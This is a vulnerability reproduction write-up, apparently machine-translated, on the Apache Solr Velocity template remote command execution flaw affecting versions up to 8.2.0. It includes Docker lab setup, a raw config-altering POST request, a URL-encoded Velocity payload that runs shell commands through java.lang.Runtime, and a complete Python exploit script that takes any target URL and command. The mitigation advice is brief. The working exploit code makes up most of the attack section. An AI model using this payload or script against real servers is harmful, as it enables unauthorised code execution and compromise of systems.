0x01 Overview
Introduction to Solr
Apache Solr is an open source enterprise search server. Solr uses the Java language development, mainly based on HTTP and Apache Lucene implementation. Resources Apache Solr is stored as a Document object store. It provides operational similar Web-service API interface. Users can http request, submit the XML file format to a certain search engine server generates an index; can also be made to find a request by Http Get operation, and get back the results in XML format.
Vulnerability Overview
Apache Solr remote command execution vulnerability exists based on Velocity templates. The vulnerability is caused due to the injection Velocity template. Apache Solr integrated VelocityResponseWriter default widget, params.resource.loader.enabled this option in the plug-in initialization parameter is used to control whether to allow the resource loader parameters specified in the parameter template Solr request, default is false. When the attacker can directly access Solr console, you can send similar: solr / node name / config POST requests to make changes to the configuration file node, the params.resource.loader.enabled set to true (to load the specified resource ), then construct a GET request, you can execute commands on the server.
Sphere of influence
Apache Solr <=8.2.0
0x02 reproducible process
Environment to build
(Due to the vulnerability vulhub not update the corresponding environment, so the use of vulhub up the environment CVE-2019-0193)
Startup environment
cd /vulhub/solr/CVE-2019-0193
docker-compose up -d
Creating Core
docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db
Build success
Visit http: // ip: 8983
Vulnerability reproduction
Manual verification
(1) Modify Core configuration settings "params.resource.loader.enabled" is true
POST /solr/test_0nth3way/config HTTP/1.1 Host: 192.168.17.136:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
(2) Remote Code Execution
GET /solr/test_0nth3way/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: 192.168.17.136:8983
Python script validation
Annex EXP:
import requests import json import sys # usage: python Apache_Solr_via_Velocity_template_RCE.py http://192.168.17.136:8983 whoami # Apache Solr RCE via Velocity template # Upconfig: http://192.168.1.26:8983/solr/0nth3way/config # ExecCmd: 0 solr def getname(url): url += "/solr/admin/cores?wt=json&indexInfo=false" conn = requests.request("GET", url=url) name = "test" try: name = list(json.loads(conn.text)["status"])[0] except: pass return name def upconfig(url, name): url += "/solr/"+name+"/config" print "Upconfig: ", url headers = {"Content-Type": "application/json"} post_data = """ { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } """ conn = requests.request("POST", url, data=post_data, headers=headers) if conn.status_code != 200: print "Upconfig error: ", conn.status_code sys.exit(1) def little (url, cmd): core_name = getname(url) upconfig(url, core_name) url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" conn = requests.request("GET", url) print "ExecCmd: "+conn.text if __name__ == '__main__': print "Apache Solr RCE via Velocity template" url = sys.argv[1] cmd = sys.argv[2] little (url, cmd)
0x03 suggested fix
(1) recommended restrictions on access Solr
(2) Upgrading Solr